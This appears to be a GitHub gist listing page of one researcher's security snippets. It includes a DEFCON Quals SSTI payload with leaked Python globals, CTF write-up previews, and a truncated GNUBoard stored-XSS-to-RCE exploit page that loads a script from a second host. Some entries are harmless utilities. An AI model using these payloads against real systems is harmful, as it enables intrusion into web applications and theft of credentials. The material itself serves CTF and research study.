Skip to content

Instantly share code, notes, and snippets.

@stypr
stypr / dogooos.md
Last active Jun 15, 2020
DEFCON Quals Web exploit (Participated as r3kapig)
View dogooos.md

SSTI

  1. Write one comment
  2. When writing a comment content, do SSTI to leak author's credentials
{rating[comments][0].__class__.__init__.__globals__}
{'__name__': 'app.loaddata', '__doc__': None, '__package__': 'app', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, '__spec__': ModuleSpec(name='app.loaddata', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, origin='./app/loaddata.py'), '__file__': './app/loaddata.py', '__cached__': './app/__pycache__/loaddata.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': 
@stypr
stypr / unzip_different_encoding.py
Created Mar 17, 2020
Unzip with different encoding
View unzip_different_encoding.py
#!/usr/bin/python
#Nothing on stackoverflow works!
import zipfile
import sys
zip = zipfile.ZipFile('FILENAME', 'r')
zipinfo = zip.infolist()
for _file in zipinfo:
_file.filename = bytes(_file.filename).decode('cp949')
@stypr
stypr / exploit.html
Last active Apr 7, 2020
GNUBoard RCE ~2019.1
View exploit.html
<!--
Stored XSS (2019.01.02)
-->
<form action="http://10.10.10.60/gnuboard5/adm/sms_admin/form_group_update.php" method="POST">
<input type='hidden' name='fg_no' value=''>
<input type='hidden' name='fg_name' id='payload' value=''>
</form>
<script>
var random = Math.round(Math.random() * 1000000000);
var script_url = '//10.10.10.30/vulnerable_rce_good_for_reason/rce.js'; // RCE from admin
@stypr
stypr / check.py
Last active Mar 6, 2020
Check old GNUBoard
View check.py
#!/usr/bin/python -u
#-*- coding: utf-8 -*-
import threading
import urllib2
import base64
import sys
import time
# PHPSESSID 넣어줘야합니다
COOKIE = ""
@stypr
stypr / README.md
Last active Feb 9, 2020
CodeGate 2019 CSP challenge writeup
View README.md

Solution

  1. if(md5($salt.$api_string) !== $sig){ can be bypassed with hash length extension attack (didn't do it, but the key length is 12.)

  2. Use custom header and body to trigger CSP bypass.

@stypr
stypr / README.md
Last active Sep 18, 2019
2019 Cyber Operations Challenge Finals Pistol Exploit
View README.md

Quick Summary

First-blooded this challenge. The server is down, I cannot explain briefly

  1. Comment in the website shows get_perm.php

  2. Another comment in the get_perm.php shows ?remote_debug=1.

  3. Using a php trick, you get a write post privilege.

@stypr
stypr / install.sh
Created Aug 16, 2019
Install MobSF Framework on CentOS 7 (with Headless Dynamic Analysis)
View install.sh
#!/bin/bash
# Maintainer: Harold Kim (root@stypr.com)
# Tested in CentOS 7.6.1810
# $ lsb_release -a
# LSB Version: :core-4.1-amd64:core-4.1-noarch
# Distributor ID: CentOS
# Description: CentOS Linux release 7.6.1810 (Core)
# Release: 7.6.1810
# Codename: Core
@stypr
stypr / composer.py
Last active Aug 17, 2019
Docker runner for CTF
View composer.py
#!/usr/bin/python
#-*- coding:utf-8 -*-
# Developer: Harold Kim (ho.kim@linecorp.com)
import os
import sys
import time
import urllib
import urllib2
@stypr
stypr / a-z.md
Last active Oct 10, 2020
Harekaze CTF 2019 WEB Writeup (Yokosuka Hackers)
View a-z.md

A-z

Simple JS Jail challenge.

It is run on context, so we have nothing but to play with constructor and console.

1337 === eval(our_input)
@stypr
stypr / exploit.py
Last active Aug 17, 2019
CodeGate 2019: Rich Project exploit
View exploit.py
import os
import urllib2
import urllib
import random
import sys
import time
import hashlib
def rand(sz=4):
return str(random.randint(10**sz, 100**sz))
You can’t perform that action at this time.